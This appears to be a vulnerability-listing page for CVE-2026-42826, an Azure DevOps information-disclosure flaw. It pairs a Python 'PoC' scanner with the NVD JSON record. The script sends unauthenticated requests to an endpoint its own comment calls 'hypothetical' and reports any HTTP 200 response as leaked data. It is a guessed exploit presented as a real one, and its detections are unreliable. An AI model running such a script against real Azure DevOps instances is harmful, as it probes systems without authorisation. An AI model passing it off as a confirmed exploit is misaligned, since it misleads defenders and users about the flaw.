CVE-2026-42826

import requests def check_cve_2026_42826(target_url): """ PoC for CVE-2026-42826: Azure DevOps Sensitive Information Disclosure Disclaimer: For educational purposes only. """ # Hypothetical vulnerable endpoint based on the vulnerability description endpoint = f"{target_url.rstrip('/')}/_apis/security/scopes" headers = { "User-Agent": "CVE-2026-42826-Scanner", "Accept": "application/json" } try: # Sending an unauthenticated request to the target response = requests.get(endpoint, headers=headers, timeout=10) # Check if response indicates success or data leakage if response.status_code == 200: print(f"[+] Potential Vulnerability Detected at {target_url}") print(f"[+] Response Status: {response.status_code}") print(f"[+] Leaked Data Snippet: {response.text[:200]}") return True else: print(f"[-] Target does not appear vulnerable. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with the actual target URL for testing target = "http://example-azure-devops.com" check_cve_2026_42826(target)

{"cve": {"id": "CVE-2026-42826", "sourceIdentifier": "[email protected]", "published": "2026-05-07T22:16:35.587", "lastModified": "2026-05-08T19:50:24.040", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Exposure of sensitive information to an unauthorized actor in Azure DevOps allows an unauthorized attacker to disclose information over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_devops:-:*:*:*:*:*:*:*", "matchCriteriaId": "238C9D36-6940-492B-B0AC-EBF02676729F"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42826", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}